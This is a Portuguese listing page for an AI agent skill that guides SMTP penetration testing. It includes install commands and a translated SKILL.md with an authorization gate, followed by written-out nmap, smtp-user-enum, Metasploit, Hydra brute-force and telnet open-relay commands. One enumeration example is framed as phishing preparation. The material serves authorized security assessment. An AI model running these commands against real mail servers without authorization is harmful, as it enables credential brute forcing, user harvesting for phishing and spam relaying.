smtp-penetration-testing
Ajuda seu agente a testar a segurança de servidores de e-mail (SMTP). Ele procura por falhas que podem ser exploradas por atacantes.
O que ela faz
Esta ferramenta ajuda a verificar a segurança de servidores de e-mail (SMTP). Ela procura por falhas que podem ser usadas por pessoas mal-intencionadas para enviar e-mails indesejados ou obter informações.
Quando usar
- ✓Verificar se um servidor de e-mail pode ser usado para enviar spam.
- ✓Testar se é fácil descobrir nomes de usuários em um servidor de e-mail.
- ✓Avaliar a segurança geral de um servidor de e-mail antes de usá-lo.
Exemplo do que pedir para a IA
“Quero testar a segurança do servidor de e-mail 'mail.exemplo.com'. Tenho autorização escrita para isso.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta usa comandos específicos para interagir com o servidor de e-mail, simulando diferentes tipos de ataques para encontrar vulnerabilidades. Ela verifica se o servidor permite o envio de e-mails para qualquer destinatário ou se é possível adivinhar nomes de usuários válidos.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill smtp-penetration-testingOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/smtp-penetration-testing/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista em, extraia dados de ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL exato, IP, conta ou recurso alvo.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça apenas em modo somente leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.
Testes de Penetração SMTP
Guia Detalhado
Leia o guia detalhado antes de executar esta habilidade. Ele contém o procedimento completo e material de referência. Trate seus requisitos de segurança, pré-requisitos e validação como obrigatórios. Para trabalho focado, carregue as seções relevantes; para trabalho de ponta a ponta, leia o guia completamente.
Pré-requisitos
Ferramentas Necessárias
# Nmap with SMTP scripts
sudo apt-get install nmap
# Netcat
sudo apt-get install netcat
# Hydra for brute force
sudo apt-get install hydra
# SMTP user enumeration tool
sudo apt-get install smtp-user-enum
# Metasploit Framework
msfconsole
Conhecimento Necessário
- Fundamentos do protocolo SMTP
- Arquitetura de e-mail (MTA, MDA, MUA)
- Registros DNS e MX
- Protocolos de rede
Acesso Necessário
- IP/nome do host do servidor SMTP alvo
- Autorização por escrito para testes
- Listas de palavras para enumeração e força bruta
Restrições e Limitações
Requisitos Legais
- Teste apenas servidores SMTP que você possui ou tem autorização para testar
- Enviar spam ou e-mails maliciosos é ilegal
- Documente todas as atividades de teste
- Não abuse de relays abertos descobertos
Limitações Técnicas
- VRFY/EXPN geralmente desativados em servidores modernos
- Limitação de taxa pode desacelerar a enumeração
- Alguns servidores respondem de forma idêntica para usuários válidos/inválidos
- Greylisting pode atrasar as respostas de enumeração
Limites Éticos
- Nunca envie spam real através de relays descobertos
- Não colete endereços de e-mail para uso malicioso
- Relate relays abertos aos administradores do servidor
- Use as descobertas apenas para melhoria de segurança autorizada
Exemplos
Exemplo 1: Avaliação Completa de SMTP
Cenário: Avaliação completa de segurança do servidor de e-mail
# Step 1: Service discovery
nmap -sV -sC -p 25,465,587 mail.target.com
# Step 2: Banner grab
nc mail.target.com 25
EHLO test.com
QUIT
# Step 3: User enumeration
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/top-usernames-shortlist.txt -t mail.target.com
# Step 4: Open relay test
nmap -p 25 --script smtp-open-relay mail.target.com
# Step 5: Authentication test
hydra -l admin -P /usr/share/wordlists/fasttrack.txt smtp://mail.target.com
# Step 6: TLS check
openssl s_client -connect mail.target.com:25 -starttls smtp
# Step 7: Check email authentication
dig TXT target.com | grep spf
dig TXT _dmarc.target.com
Exemplo 2: Ataque de Enumeração de Usuários
Cenário: Enumerar usuários válidos para preparação de phishing
# Method 1: VRFY
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.100 -p 25
# Method 2: RCPT with timing analysis
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.100 -p 25 -d target.com
# Method 3: Metasploit
msfconsole
use auxiliary/scanner/smtp/smtp_enum
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt
run
# Results show valid users
[+] 192.168.1.100:25 - Found user: admin
[+] 192.168.1.100:25 - Found user: root
[+] 192.168.1.100:25 - Found user: postmaster
Exemplo 3: Exploração de Relay Aberto
Cenário: Testar e documentar a vulnerabilidade de relay aberto
# Testar via Telnet
telnet mail.target.com 25
HELO attacker.com
MAIL FROM:<test@attacker.com>
RCPT TO:<test@gmail.com>
# Se 250 OK - VULNERÁVEL
# Documentar com Nmap
nmap -p 25 --script smtp-open-relay --script-args smtp-open-relay.from=test@attacker.com,smtp-open-relay.to=test@external.com mail.target.com
# Saída:
# PORT STATE SERVICE
# 25/tcp open smtp
…
Perguntas frequentes
O que é SMTP?
SMTP (Simple Mail Transfer Protocol) é o protocolo padrão usado para enviar e-mails pela internet.
O que é um 'open relay'?
Um 'open relay' é um servidor de e-mail configurado de forma que qualquer pessoa na internet pode usá-lo para enviar e-mails, mesmo que não seja para um destinatário do próprio servidor. Isso é frequentemente abusado para enviar spam.
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter permissão explícita e por escrito do proprietário do servidor antes de realizar qualquer teste. Usar esta ferramenta sem autorização é ilegal.
Detalhes
Descrição original do autor
Conduct comprehensive security assessments of SMTP (Simple Mail Transfer Protocol) servers to identify vulnerabilities including open relays, user enumeration, weak authentication, and misconfiguration.
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #4202
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC